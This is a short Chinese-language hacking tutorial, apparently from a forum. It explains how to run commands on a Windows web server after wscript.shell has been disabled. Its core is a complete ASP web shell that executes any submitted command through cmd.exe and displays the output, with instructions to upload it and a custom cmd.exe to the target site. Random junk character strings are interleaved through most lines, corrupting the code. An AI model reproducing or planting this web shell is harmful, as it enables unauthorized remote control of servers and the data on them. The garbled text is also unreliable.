可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
7 Z2 C& i* N6 r0 x5 b+ Q+ T0 O( j+ P# `* K0 f一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
# g8 E% ^. v) _: R" \* x7 p% d1 b要想让运行命令可以试试这种方法,成功率为五五之数。
1 L- f5 e) i' j把下面代码复制:3 \$ w! D( ]* Q- M: J
<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
9 a: ?4 B' G! r5 ~7 H$ ^<%if err then%>6 i2 L6 }# {( u8 v. V: I( C
<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
0 G5 Q5 S9 V. w) o( ?. N* J<%3 K8 o2 Z4 f9 G
end if1 j- h$ h* D& A0 k2 V2 C- ^3 G
response.write("<textarea readonly cols=80 rows=20>")4 T( q6 v: T7 w: {1 k' `6 ?
On Error Resume Next
1 L) z* J' v( B7 Gresponse.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall
! \0 a1 e# @ h' Wresponse.write("</textarea>")% a; @/ l+ P. z% X) ^
response.write("<form method='post'>")* Q; ]. Z3 N8 @) ?8 X9 _
response.write("<input type=text name='c' size=60><br>")+ M# N; k' j) O* y5 T c' i
response.write("<input type=submit value='执行'></form>")
* P) R' F9 \$ e8 Z%>4 o r4 e& L3 N
) e1 t5 B- Q0 R: G6 t$ \9 Z
保存为一个asp文件,然后传到网站目录上去
& b5 E/ Z9 r+ O2 m; K运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
' T% u4 x0 h# p/ W- t- E我用此成功运行过cacls命令。
0 T5 B: @$ D/ |6 S
5 V; \: g# J6 |5 {1 [第二那就是运行时出错,可能限制某些代码执行 |